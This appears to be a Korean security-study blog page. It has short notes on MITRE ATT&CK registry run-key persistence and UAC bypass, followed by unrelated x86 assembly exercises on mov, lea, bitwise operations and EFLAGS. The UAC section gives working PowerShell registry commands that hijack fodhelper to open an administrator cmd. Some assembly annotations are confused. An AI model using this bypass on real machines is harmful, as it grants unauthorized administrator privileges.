T1547.001 Registry Run Keys / Startup Folder - Window

 

Description

 부팅 프로그램과 서비스를 시작하거나 로드할 , windows 레지스트리는 시작폴더보다 우선이다. 보통의 RootKit Windows레지스트리 또는 화이트리스트 영역에 파일을 숨기기 때문에 전문적인 Malware 방지 솔루션이나 제품을 사용하지 않으면 감지가 힘들다.         이러한 악의적인 실행 키는 부팅마다 자동으로 실행되기 때문에, 지속적인 피해를 입는다.

 

Test

- 환경 : windows11(powershell:user)

 - 4개의 StartupFolder 검사하는 스크립트를 실행했으나, 악성으로 보이는 파일이 나타나지 않았다.

 

 

 

참고문헌 : https://labs.jumpsec.com/running-once-running-twice-pwned-windows-registry-run-keys/

'Mitre Att&CT - Privilege Escalation > Boot or Logon Autostart Execution' 카테고리의 다른 글

Time Providers  (0) 2022.05.08
Security Support Provider  (0) 2022.05.08
WinLogon Helper DLL  (0) 2022.05.08

T1548.002 - Window UAC bypass

 

Description

 공격자는 UAC 메커니즘을 우회하여 시스템의 프로세스 권한을 높일 있습니다. Windows UAC(사용자 계정 컨트롤) 사용하면 프로그램이 권한을 상승(낮음에서 높음까지의 무결성 수준으로 추적)하여 관리자 수준 권한으로 작업을 수행할 있습니다사용자에게 미치는 영향은 높은 적용에서 작업을 거부하는 것부터 사용자가 로컬 관리자 그룹에 있고 프롬프트를 통해 클릭하는 경우 작업을 수행하도록 허용하거나 사용자가 작업을 완료하기 위해 관리자 암호를 입력하도록 허용하는 것까지 다양합니다.

 

Test

 - 환경 : windows 10(install 22.04.04),window virus & threat protecion off, window powershell(user) / windows 11

 

(1). New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

(2). New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

(3). Start cmd -> fodhelper -> “administrator cmd open”

 

 

참고문헌 : https://community.spiceworks.com/topic/2314747-bypassing-uac-in-windows10-in-2-lines-only

어셈블리 코드로서, gdb로 오픈 시 형태가 다를 수 있음.

 

#1.

global main

section .text
main:

mov ebx, eax    -------------- ebx에 eax의 주소값 복사         : *eax = 0xf7fbb808
mov ebx, 0xbffff098 -------- ebx에 0xbffff098 복사            : *ebx = 0xbffff098
mov dword [eax], 0x10 ---- eax의 주소값 안에 0x10 복사    : eax = 0x10 (0xf7fbb808 = 0x10)

mov ebx, dword [eax] ------ ebx에 eax의 주소값 안에 들어있는 값 복사 : *ebx = eax --> *ebx = 0x10
mov ebx, eax   -------------- ebx에 eax의 주소값 복사         :  ebx = 0xf7fbb808

 

#초기 주소값과 데이터

*eax = 0xf7fbb808

*ebx = 0x0

eax = 0xffffcd9c

ebx = Cannot access

 

mov

 - 데이터 복사 명령어

 - lea와의 차이 뒤에 기술.

 - mov ebx, eax ---> ebx = 0x7fbb808

 - mov ebx, [eax] --> ebx = 0xffffcd9c

 

 

#2.

global main

section .text
main:
mov eax, esp   ---------- eax에 esp의 주소값 복사                                         : *eax = 0xffffccfc
sub  esp, 8   ------------- esp의 주소에 8를 빼기연산                                      : *esp = 0xffffccf4 
mov [eax], dword 1 ----- eax의 주소 안에 0x1 데이터를 복사                           : eax = 0x1 ---> 0xffffccfc = 0x1
mov [eax-4], dword 2 --- eax의 주소에서 4를 뺀 주소 안(값)에 0x2 데이터를 복사 

                                                                                                       : [eax-4] = 0x2 ---> 0xffffccf8 = 0x2
sub [eax-4], dword 1 ---- eax의 주소에서 4를 뺀 주소 안에 0x1 데이터를 복사

                                                                                                       : [eax-4] = 0x1 ---> 0xffffccf8 = 0x1

 

#초기 주소값과 데이터

*eax = 0xf7fbb808

*esp = 0xffffccfc

eax = 0xffffcd9c

[eax-4] = 0x00000000

 

 

#3.

section .text
main: 
        mov     eax, 1 ------------ eax의 주소에 0x1 복사                                : *eax = 0x1, eax = {cannot access}
        mov     ebx, 4 ------------ ebx의 주소에 0x4 복사                               : *ebx = 0x4, ebx = {cannot access}

       mov    ecx, 7  ------------ ecx의 주소에 0x7 복사                                 : *ecx = 0x7, ecx = {cannot access} 
        lea     eax, [eax+ecx] ---- eax의 주소에 *eax+*ecx의 주소값                : *eax = 0x8, eax = {cannot access} 

        lea     ebx, [ebx*4] ------- ebx의 주소에 *ebx * 4 = 4*4 --> 0x10 복사 :  *ebx = 0x10, ebx = {cannot access}
        mov     eax, [eax+ecx] --- eax(*1=?), ecx(*7=?) --> 0x1과 0x7에는 메모리가 접근 불가.(힙으로 추정)

                                                                            에러 후 종료

        mov     eax ---------------- 

 

#초기 주소값과 데이터

(시작부터 복사해서 의미없음)

 

 

#4.

global main

section .text
main:
        mov     eax, 0x33 ------- eax의 주소에 0x33 복사          : *eax = 0x33
        mov     ebx, 0x55 ------- ebx의 주소에 0x55 복사         :  *ebx = 0x55
        mov     ecx, 0x42 -------- ecx의 주소에 0x42 복사        :  *ecx = 0x42

        and     eax, ebx  --------- eax의 주소와 ebx의 주소를 and연산 : *eax = 0x11
        or      eax, ecx ----------- eax의 주소와 ecx의 주소를 or연산 :  *eax = 0x53
        xor     eax, 0xac ---------- eax의 주소와 0xAC를 xor 연산 : *eax = 0xFF

 

+) and, or, xor 연산

1. and 연산 : 둘 모두 같아야 1

*eax = 0x33 = 0011 0011

*ebx = 0x55 = 0101 0101        and

-----------------------------------------

                    0001 0001  ----> 0x11

 

2. or 연산 : 둘 중 하나라도 1이면 1

*eax = 0x11 = 0001 0001

*ecx = 0x42 = 0100 0010          or

-----------------------------------------

                   0101 0011 ------> 0x53

 

3. xor 연산 : 둘이 서로 (무조건)달라야 1

*eax    = 0x53 = 0101 0011

*0xAC = 10, 12= 1010 1100        xor

------------------------------------------

                      1111 1111 ----> 0xFF 

 

#5.

global main

section .text
main:
        mov     eax, 2 ------- eax의 주소에 2를 복사 eflags=0x246
        cmp     eax, 2 ------- eax의 주소와 2를 비교 eflags=0x246
        cmp     eax, 1 ------- eax의 주소와 1을 비교 eflags=0x202
        cmp     eax, 3 ------- eax의 주소와 3을 비교 eflags=0x297

        test    eax, eax ------ eax의 주소와 eax의 주소를 and연산 eflags=0x202 
        mov     eax, 0 ------- eax의 주소에 0 복사 eflags=0x202
        test    eax, eax ------ eax의 주소와 eax의 주소를 and 연산 eflags=0x246

 

+)

cmp : oper1 - oper2 ---> +,-,0 나올 수 있음.

 

EFLAGS Register

ex)202

0010 | 0000 | 0010 -----------> [IF]

OF DF IF TF | SF ZF 0 AF | 0 PF 1 CF

 

 

OF(Overflow Flag) : 연산의 결과 값이 Sign-bit(MSG)를 제외한 최대 허용 정수값보다 크거나,

                          최소 정수값보다 작으면 1이 된다. --> overflow check

 

DF(Direction Flag) : 문자열을 처리하는 명령(MOVS, CMPS, SCAS, LODS, STOPS)를 제어하는 플래그.

                          1이 되어 있으면 높은 주소에서 낮은 주소대로 처리, 0이면 낮은 주소에서

                          높은 주소로 처리한다. (assembly = STD : set(1), CLD : clear(0))

 

IF(Interrupt Flag) : 프로세스로부터 인터럽트가 발생하면 인터럽트 처리를 할 것인지 제어.

                       1이 되어 있으면 인터럽트 신호가 발생 시 인터럽트를 처리.

                       0인 경우는 인터럽트 신호 와도 반응안함.

 

TF(Trap Flag) : 디버깅 시 Single step mod 활성화 하였을 때 1이 된다.

                   명령 실행 시 TF를 세트하여 하나의 명령씩 프로그램을 수행 가능

 

SF(Sign Flag) : 최상위 bit의 결과와 같은 결과로 설정된다. Signed Integer로 사용되는 경우

                   SF가 0이면 양수, 1이면 음수를 나타낸다.

 

ZF(Zero Flag) : 산술 연산 결과가 0인 경우 1이 되고 아니면 리셋.

                    보통 값 비교에서 oper1 - oper2=0 (같음) 혹은 루프에서 1씩 차감하여

                    0이 되면 루프를 빠져나오게 하는 등의 방식으로 활용되는 플래그.

 

AF(Adjust Flag) : 산술연산 수행결과가 bit3 자리에 자리 올림이나 내림이 발생할 때 1이 됌.

                      10진법(BCD) 연산에 사용되는 플래그.

 

PF(Parity Flag) : 산술연산 수행결과가 하위 1Byte 중 1bit가 짝수면 1, 아니면 0이 된다.

 

CF(Carry Flag) : 산술연산 수행결과가 자리 올림이나 자리 내림이 발생할 때 1이 된다.

 

참고 : https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=no1rogue&logNo=30095428920 

 

즉, 3번째 줄 cmp     eax, 1 에서 eflags가 202가 나왔는데, 이는

0010 0000 0010 을 뜻하고, IF 하나만 세팅되었다는 것을 알 수 있다.

 

 

#6.

global main

section .text
main:
        mov     ecx, 0  ------------- ecx의 주소에 0 복사                      : *ecx = 0
        mov     eax, ecx ----------- eax의 주소에 ecx의 주소 복사          : *eax = 0
        inc     ecx ------------------ ecx의 주소에 1 증가                       : *ecx = 1
        cmp     ecx, 255 ----------- ecx의 주소에 255를 빼서 and연산     : *ecx - 255 != 0 ----> 1 != 255 [ZF = 0]
        jne     0x8048067 ---------- 같지 않으면 0x8048067로 점프       
        ret

 

 

+ Recent posts